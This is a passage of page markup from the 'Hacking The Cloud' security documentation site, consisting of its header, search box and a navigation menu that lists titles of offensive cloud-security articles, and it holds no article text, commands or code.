<strong>Bluesky</strong> </a>. </div> </aside> </div> <header class=md-header data-md-component=header> <nav class="md-header__inner md-grid" aria-label=Header> <a href=../../.. title="Hacking The Cloud" class="md-header__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> <label class="md-header__button md-icon" for=__drawer> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M3 6h18v2H3zm0 5h18v2H3zm0 5h18v2H3z"/></svg> </label> <div class=md-header__title data-md-component=header-title> <div class=md-header__ellipsis> <div class=md-header__topic> <span class=md-ellipsis> Hacking The Cloud </span> </div> <div class=md-header__topic data-md-component=header-topic> <span class=md-ellipsis> Thunder CTF </span> </div> </div> </div> <form class=md-header__option data-md-component=palette> <input class=md-option data-md-color-media data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Dark Mode" type=radio name=__palette id=__palette_0> <label class="md-header__button md-icon" title="Switch to Dark Mode" for=__palette_1 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 6H7c-3.31 0-6 2.69-6 6s2.69 6 6 6h10c3.31 0 6-2.69 6-6s-2.69-6-6-6m0 10H7c-2.21 0-4-1.79-4-4s1.79-4 4-4h10c2.21 0 4 1.79 4 4s-1.79 4-4 4M7 9c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3"/></svg> </label> <input class=md-option data-md-color-media data-md-color-scheme=default data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Light Mode" type=radio name=__palette id=__palette_1> <label class="md-header__button md-icon" title="Switch to Light Mode" for=__palette_0 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 7H7a5 5 0 0 0-5 5 5 5 0 0 0 5 5h10a5 5 0 0 0 5-5 5 5 0 0 0-5-5m0 8a3 3 0 0 1-3-3 3 3 0 0 1 3-3 3 3 0 0 1 3 3 3 3 0 0 1-3 3"/></svg> </label> </form> <script>var palette=__md_get("__palette");if(palette&&palette.color){if("(prefers-color-scheme)"===palette.color.media){var media=matchMedia("(prefers-color-scheme: light)"),input=document.querySelector(media.matches?"[data-md-color-media='(prefers-color-scheme: light)']":"[data-md-color-media='(prefers-color-scheme: dark)']");palette.color.media=input.getAttribute("data-md-color-media"),palette.color.scheme=input.getAttribute("data-md-color-scheme"),palette.color.primary=input.getAttribute("data-md-color-primary"),palette.color.accent=input.getAttribute("data-md-color-accent")}for(var[key,value]of Object.entries(palette.color))document.body.setAttribute("data-md-color-"+key,value)}</script> <label class="md-header__button md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> </label> <div class=md-search data-md-component=search role=dialog> <label class=md-search__overlay for=__search></label> <div class=md-search__inner role=search> <form class=md-search__form name=search> <input type=text class=md-search__input name=query aria-label=Search placeholder=Search autocapitalize=off autocorrect=off autocomplete=off spellcheck=false data-md-component=search-query required> <label class="md-search__icon md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11z"/></svg> </label> <nav class=md-search__options aria-label=Search> <button type=reset class="md-search__icon md-icon" title=Clear aria-label=Clear tabindex=-1> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z"/></svg> </button> </nav> </form> <div class=md-search__output> <div class=md-search__scrollwrap tabindex=0 data-md-scrollfix> <div class=md-search-result data-md-component=search-result> <div class=md-search-result__meta> Initializing search </div> <ol class=md-search-result__list role=presentation></ol> </div> </div> </div> </div> </div> <div class=md-header__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> </nav> </header> <div class=md-container data-md-component=container> <nav class=md-tabs aria-label=Tabs data-md-component=tabs> <div class=md-grid> <ul class=md-tabs__list> <li class=md-tabs__item> <a href=../../.. class=md-tabs__link> Hacking The Cloud </a> </li> <li class=md-tabs__item> <a href=../../../aws/general-knowledge/aws_cli_tips_and_tricks/ class=md-tabs__link> AWS </a> </li> <li class=md-tabs__item> <a href=../../../azure/abusing-managed-identities/ class=md-tabs__link> Azure </a> </li> <li class="md-tabs__item md-tabs__item--active"> <a href=../../general-knowledge/default-account-names/ class=md-tabs__link> GCP </a> </li> <li class=md-tabs__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-tabs__link> Terraform </a> </li> <li class=md-tabs__item> <a href=../../../blog/2023_wrap-up/ class=md-tabs__link> Blog </a> </li> </ul> </div> </nav> <main class=md-main data-md-component=main> <div class="md-main__inner md-grid"> <div class="md-sidebar md-sidebar--primary" data-md-component=sidebar data-md-type=navigation> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--primary md-nav--lifted" aria-label=Navigation data-md-level=0> <label class=md-nav__title for=__drawer> <a href=../../.. title="Hacking The Cloud" class="md-nav__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> Hacking The Cloud </label> <div class=md-nav__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../.. class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud </span> </a> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2> <label class=md-nav__link for=__nav_2 id=__nav_2_label tabindex=0> <span class=md-ellipsis> AWS </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_2_label aria-expanded=false> <label class=md-nav__title for=__nav_2> <span class="md-nav__icon md-icon"></span> AWS </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_1> <label class=md-nav__link for=__nav_2_1 id=__nav_2_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_1_label aria-expanded=false> <label class=md-nav__title for=__nav_2_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../aws/general-knowledge/aws_cli_tips_and_tricks/ class=md-nav__link> <span class=md-ellipsis> AWS CLI Tips and Tricks </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/general-knowledge/aws_organizations_defaults/ class=md-nav__link> <span class=md-ellipsis> AWS Organizations Defaults & Pivoting </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/general-knowledge/block-expensive-actions-with-scps/ class=md-nav__link> <span class=md-ellipsis> Prevent Expensive AWS API Actions with SCPs </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/general-knowledge/connection-tracking/ class=md-nav__link> <span class=md-ellipsis> Connection Tracking </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/general-knowledge/iam-key-identifiers/ class=md-nav__link> <span class=md-ellipsis> IAM unique identifiers </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/general-knowledge/intro_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Introduction to the Instance Metadata Service </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/general-knowledge/introduction_user_data/ class=md-nav__link> <span class=md-ellipsis> Introduction to User Data </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/general-knowledge/using_stolen_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Using Stolen IAM Credentials </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_2> <label class=md-nav__link for=__nav_2_2 id=__nav_2_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_2_label aria-expanded=false> <label class=md-nav__title for=__nav_2_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../aws/enumeration/account_id_from_ec2/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from an EC2 Instance </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/account_id_from_s3_bucket/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from a Public S3 Bucket </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/brute_force_iam_permissions/ class=md-nav__link> <span class=md-ellipsis> Brute Force IAM Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/bypass_cognito_user_enumeration_controls/ class=md-nav__link> <span class=md-ellipsis> Bypass Cognito Account Enumeration Controls </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/discover_secrets_in_public_aims/ class=md-nav__link> <span class=md-ellipsis> Discover secrets in public AMIs </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/enum_iam_user_role/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of IAM Users and Roles </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/enumerate_principal_arn_from_unique_id/ class=md-nav__link> <span class=md-ellipsis> Derive a Principal ARN from an AWS Unique Identifier </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/enumerate_root_email_from_console/ class=md-nav__link> <span class=md-ellipsis> Enumerate Root User Email Address from the AWS Console </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/get-account-id-from-keys/ class=md-nav__link> <span class=md-ellipsis> Get Account ID from AWS Access Keys </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/loot_public_ebs_snapshots/ class=md-nav__link> <span class=md-ellipsis> Loot Public EBS Snapshots </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/whoami/ class=md-nav__link> <span class=md-ellipsis> Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3> <label class=md-nav__link for=__nav_2_3 id=__nav_2_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_3_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../aws/exploitation/abusing-container-registry/ class=md-nav__link> <span class=md-ellipsis> Abusing Elastic Container Registry for Lateral Movement </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/cognito_identity_pool_excessive_privileges/ class=md-nav__link> <span class=md-ellipsis> Abusing Overpermissioned AWS Cognito Identity Pools </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/cognito_user_self_signup/ class=md-nav__link> <span class=md-ellipsis> Abusing Unintended Self-Signup in AWS Cognito </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/ec2-metadata-ssrf/ class=md-nav__link> <span class=md-ellipsis> Steal EC2 Metadata Credentials via SSRF </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Privilege Escalation Techniques </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/lambda-steal-iam-credentials/ class=md-nav__link> <span class=md-ellipsis> Steal IAM Credentials and Event Data from Lambda </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/local_ec2_priv_esc_through_user_data/ class=md-nav__link> <span class=md-ellipsis> EC2 Privilege Escalation Through User Data </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/ class=md-nav__link> <span class=md-ellipsis> DNS and CloudFront Domain Takeover via Deleted S3 Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/route53_modification_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS API Call Hijacking via ACM-PCA </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/s3-bucket-replication-exfiltration/ class=md-nav__link> <span class=md-ellipsis> Exfiltrating S3 Data with Bucket Replication Policies </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/s3_server_access_logs/ class=md-nav__link> <span class=md-ellipsis> Data Exfiltration through S3 Server Access Logs </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/s3_streaming_copy/ class=md-nav__link> <span class=md-ellipsis> S3 Streaming Copy </span> </a> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3_13> <div class="md-nav__link md-nav__container"> <a href=../../../aws/exploitation/Misconfigured_Resource-Based_Policies/ class="md-nav__link "> <span class=md-ellipsis> Misconfigured Resource Based Policies </span> </a> <label class="md-nav__link " for=__nav_2_3_13 id=__nav_2_3_13_label tabindex=0> <span class="md-nav__icon md-icon"></span> </label> </div> <nav class=md-nav data-md-level=3 aria-labelledby=__nav_2_3_13_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3_13> <span class="md-nav__icon md-icon"></span> Misconfigured Resource Based Policies </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../aws/exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/ class=md-nav__link> <span class=md-ellipsis> CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/ class=md-nav__link> <span class=md-ellipsis> Exploiting Misconfigured GitLab OIDC AWS IAM Roles </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/Misconfigured_Resource-Based_Policies/exploting_public_resources_attack_playbook/ class=md-nav__link> <span class=md-ellipsis> Exploiting Public AWS Resources Programmatically - The Playbook </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured ECR Resource Policies </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured Role Trust Policies with a Wildcard Principal </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_4> <label class=md-nav__link for=__nav_2_4 id=__nav_2_4_label tabindex=0> <span class=md-ellipsis> Avoid Detection </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_4_label aria-expanded=false> <label class=md-nav__title for=__nav_2_4> <span class="md-nav__icon md-icon"></span> Avoid Detection </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../aws/avoiding-detection/guardduty-pentest/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Pentest Findings for the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/avoiding-detection/guardduty-tor-client/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Tor Client Findings </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/avoiding-detection/modify-guardduty-config/ class=md-nav__link> <span class=md-ellipsis> Modify GuardDuty Configuration </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/avoiding-detection/steal-keys-undetected/ class=md-nav__link> <span class=md-ellipsis> Bypass Credential Exfiltration Detection </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_5> <label class=md-nav__link for=__nav_2_5 id=__nav_2_5_label tabindex=0> <span class=md-ellipsis> Post Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_5_label aria-expanded=false> <label class=md-nav__title for=__nav_2_5> <span class="md-nav__icon md-icon"></span> Post Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../aws/post_exploitation/create_a_console_session_from_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Create a Console Session from IAM Credentials </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/ class=md-nav__link> <span class=md-ellipsis> Download Tools and Exfiltrate Data with the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/get_iam_creds_from_console_session/ class=md-nav__link> <span class=md-ellipsis> Get IAM Credentials from a Console Session </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/iam_persistence/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Persistence Methods </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/intercept_ssm_communications/ class=md-nav__link> <span class=md-ellipsis> Intercept SSM Communications </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/lambda_persistence/ class=md-nav__link> <span class=md-ellipsis> Lambda Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/role-chain-juggling/ class=md-nav__link> <span class=md-ellipsis> Role Chain Juggling </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/run_shell_commands_on_ec2/ class=md-nav__link> <span class=md-ellipsis> Run Shell Commands on EC2 with Send Command or Session Manager </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/s3_acl_persistence/ class=md-nav__link> <span class=md-ellipsis> S3 File ACL Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/ class=md-nav__link> <span class=md-ellipsis> Survive Access Key Deletion with sts:GetFederationToken </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/user_data_script_persistence/ class=md-nav__link> <span class=md-ellipsis> User Data Script Persistence </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_6> <label class=md-nav__link for=__nav_2_6 id=__nav_2_6_label tabindex=0> <span class=md-ellipsis> Deprecated </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_6_label aria-expanded=false> <label class=md-nav__title for=__nav_2_6> <span class="md-nav__icon md-icon"></span> Deprecated </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../aws/deprecated/stealth_perm_enum/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Enumerate Permissions without Logging to CloudTrail </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/deprecated/whoami/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_7> <label class=md-nav__link for=__nav_2_7 id=__nav_2_7_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_7_label aria-expanded=false> <label class=md-nav__title for=__nav_2_7> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../aws/capture_the_flag/cicdont/ class=md-nav__link> <span class=md-ellipsis> CI/CDon't </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_3> <label class=md-nav__link for=__nav_3 id=__nav_3_label tabindex=0> <span class=md-ellipsis> Azure </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_3_label aria-expanded=false> <label class=md-nav__title for=__nav_3> <span class="md-nav__icon md-icon"></span> Azure </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../azure/abusing-managed-identities/ class=md-nav__link> <span class=md-ellipsis> Abusing Managed Identities </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/anonymous-blob-access/ class=md-nav__link> <span class=md-ellipsis> Anonymous Blob Access </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Azure Active Directory Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/run-command-abuse/ class=md-nav__link> <span class=md-ellipsis> Run Command Abuse </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/soft-deleted-blobs/ class=md-nav__link> <span class=md-ellipsis> Soft Deleted Blobs </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--active md-nav__item--section md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4 checked> <label class=md-nav__link for=__nav_4 id=__nav_4_label tabindex> <span class=md-ellipsis> GCP </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_4_label aria-expanded=true> <label class=md-nav__title for=__nav_4> <span class="md-nav__icon md-icon"></span> GCP </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_1> <label class=md-nav__link for=__nav_4_1 id=__nav_4_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_1_label aria-expanded=false> <label class=md-nav__title for=__nav_4_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../general-knowledge/default-account-names/ class=md-nav__link> <span class=md-ellipsis> Default Account Information </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/gcp-buckets/ class=md-nav__link> <span class=md-ellipsis> Hunting GCP Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/metadata_in_google_cloud_instances/ class=md-nav__link> <span class=md-ellipsis> Metadata in Google Cloud Instances </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/security-and-constraints/ class=md-nav__link> <span class=md-ellipsis> Security and Constraints </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_2> <label class=md-nav__link for=__nav_4_2 id=__nav_4_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_2_label aria-expanded=false> <label class=md-nav__title for=__nav_4_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../enumeration/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Google Workspace Email Addresses </span> </a> </li> <li 